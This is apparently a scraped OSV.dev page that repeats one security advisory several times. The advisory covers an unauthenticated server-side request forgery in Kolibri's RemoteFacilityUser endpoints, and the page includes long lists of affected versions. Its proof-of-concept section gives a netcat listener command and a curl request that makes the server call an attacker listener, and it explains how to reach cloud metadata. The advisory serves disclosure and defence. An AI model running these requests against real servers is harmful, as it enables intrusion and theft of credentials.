          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Jun 22, 2022

0.15.3 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Jun 07, 2022

0.14.8a8 pre

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

May 17, 2022

0.14.8a7 pre

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

May 03, 2022

0.14.8a6 pre

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
